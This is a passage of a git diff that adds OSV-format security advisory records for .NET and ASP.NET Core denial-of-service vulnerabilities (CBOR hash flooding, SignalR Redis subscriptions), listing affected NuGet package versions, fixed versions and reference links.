ype":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-r3qf-p3jm-8h4p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109478"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/515"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/2523887d4cca7013afa2737e20cb7f6ba1eed8ff"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/effb34d85fdc5137ee4bd87d52560433c3df02e7"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70479"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.0-preview.4.24267.6"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-109478"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:22:43Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-vmv3-wvjp-wqpj.json b/data/NuGet/GHSA-vmv3-wvjp-wqpj.json
new file mode 100644
index 0000000000..088309fe25
--- /dev/null
+++ b/data/NuGet/GHSA-vmv3-wvjp-wqpj.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-vmv3-wvjp-wqpj","published":"2026-11-10T23:20:27Z","modified":"2026-11-10T23:30:05.048061249Z","aliases":["CVE-2026-118747"],"summary":"Microsoft Security Advisory CVE-2026-118747 - .NET Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET. This advisory provides guidance on updating affected applications and components.\n\nColliding CBOR map keys can hash-flood uniqueness checks; the fix uses seeded Marvin hashing.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/501\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-407\n\n## Affected Platforms\n\n- **Platforms:** Any supported OS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected package versions and fixed versions. These are independently versioned NuGet packages, not runtime patch versions.\n\n### 8.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | >= 8.0.0-0, < 8.0.2 | 8.0.2\n\n### 9.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | >= 9.0.0-0, < 9.0.24 | 9.0.24\n\nUpdate 9.0 applications to System.Formats.Cbor 9.0.24; 9.0.23 is not a fix. The fixed 10.0.15 package, which includes a net9.0 target, remains an alternative.\n\n### 10.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | >= 10.0.0-0, < 10.0.15 | 10.0.15\n\n### 11.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[System.Formats.Cbor](https://www.nuget.org/packages/System.Formats.Cbor) | >= 11.0.0-0, < 11.0.0 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the application's System.Formats.Cbor package reference against the affected ranges above. Updating only the installed runtime does not update this independently referenced package.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nUpdate each applicable package reference to its patched version listed above, then rebuild and redeploy the application. Updating only the installed runtime does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118747](https://www.cve.org/CVERecord?id=CVE-2026-118747)\n\n### Acknowledgements\n\n- Anonymous\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"System.Formats.Cbor","ecosystem":"NuGet","purl":"pkg:nuget/System.Formats.Cbor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-0"},{"fixed":"8.0.2"}]}],"versions":["8.0.0","8.0.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vmv3-wvjp-wqpj/GHSA-vmv3-wvjp-wqpj.json"}},{"package":{"name":"System.Formats.Cbor","ecosystem":"NuGet","purl":"pkg:nuget/System.Formats.Cbor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-0"},{"fixed":"9.0.24"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.23","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vmv3-wvjp-wqpj/GHSA-vmv3-wvjp-wqpj.json"}},{"package":{"name":"System.Formats.Cbor","ecosystem":"NuGet","purl":"pkg:nuget/System.Formats.Cbor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-0"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vmv3-wvjp-wqpj/GHSA-vmv3-wvjp-wqpj.json"}},{"package":{"name":"System.Formats.Cbor","ecosystem":"NuGet","purl":"pkg:nuget/System.Formats.Cbor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-0"},{"fixed":"11.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vmv3-wvjp-wqpj/GHSA-vmv3-wvjp-wqpj.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/runtime/security/advisories/GHSA-vmv3-wvjp-wqpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118747"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/501"},{"type":"WEB","url":"https://github.com/dotnet/runtime/issues/137281"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"PACKAGE","url":"https://github.com/dotnet/runtime"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/runtime/releases/tag/v8.0.2"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118747"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T23:20:27Z","nvd_published_at":"2026-11-10T19:19:51Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-wr8v-9x5q-ggcm.json b/data/NuGet/GHSA-wr8v-9x5q-ggcm.json
new file mode 100644
index 0000000000..83aa6c6460
--- /dev/null
+++ b/data/NuGet/GHSA-wr8v-9x5q-ggcm.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-wr8v-9x5q-ggcm","published":"2026-11-11T00:23:32Z","modified":"2026-11-11T00:30:21.891739560Z","aliases":["CVE-2026-114147"],"summary":"Microsoft Security Advisory CVE-2026-114147 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nSignalR Redis scale-out can mishandle case-mismatched group removal and leave subscriptions in a state that permits persistent resource amplification and denial of service.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/509\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-401\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### 8.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.SignalR.StackExchangeRedis](https://www.nuget.org/packages/Microsoft.AspNetCore.SignalR.StackExchangeRedis) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### 9.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.SignalR.StackExchangeRedis](https://www.nuget.org/packages/Microsoft.AspNetCore.SignalR.StackExchangeRedis) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### 10.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.SignalR.StackExchangeRedis](https://www.nuget.org/packages/Microsoft.AspNetCore.SignalR.StackExchangeRedis) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### 11.0 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.SignalR.StackExchangeRedis](https://www.nuget.org/packages/Microsoft.AspNetCore.SignalR.StackExchangeRedis) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 